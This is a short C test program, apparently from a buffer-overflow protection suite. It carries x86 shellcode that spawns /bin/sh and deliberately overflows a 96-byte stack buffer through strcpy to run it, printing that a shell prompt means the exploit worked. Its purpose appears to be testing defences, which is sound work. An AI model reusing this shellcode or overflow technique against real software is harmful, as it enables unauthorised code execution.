/*
 * $Name: release2_0-16 $
 * $Id: t3.c,v 1.6 2002/06/12 20:30:37 ttsai Exp $
 */


#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

char large_string[128];

/*
 * Return 1 if at least one of the bytes in addr is 0x00; else return 0.
 */
int contains_null_bytes(caddr_t addrp) {
    uint addr = (uint) addrp;
    return !(addr & 0xff &&
	     addr & 0xff00 &&
	     addr & 0xff0000 &&
	     addr & 0xff000000);
}

void foo()
{
    char buffer[96], *p;
    long *long_ptr = (long *) large_string;
    int i;

    /*
     * Make sure that there are no zero bytes in the starting address in
     * buffer[].  If so, find the first address containing no zero bytes.
     */
    for (p=buffer; contains_null_bytes(p); p++);
    if (contains_null_bytes(p)) {
	printf("We can't find an acceptable address that doesn't contain\n");
	printf("a zero byte.  Giving up.\n");
	exit(-1);
    }

    for (i = 0; i < 32; i++)
	*(long_ptr + i) = (int) p;
    for (i = 0; i < sizeof(shellcode)-1; i++)
	large_string[i] = shellcode[i];
    strcpy(p, large_string);

    return;
}

int main(int ac, char *av[])
{
    if (ac == 1) {
	printf
	    ("This program will exec() a new program.  The new program will\n");
	printf("overflow the buffer using strcpy().\n");
	printf("If you get a /bin/sh prompt, then the exploit has worked.\n");
	printf("Press any key to continue...");
	getchar();
	execl(av[0], av[0], "xyz", NULL);
	perror("execl()");
    } else if ((ac != 2) || (strcmp(av[1], "xyz") != 0)) {
	printf("usage: %s\n", av[0]);
	exit(1);
    }

    foo();

    printf("If you see this statement, it means that the buffer overflow\n");
    printf("never occurred.\n");

    return 0;
}
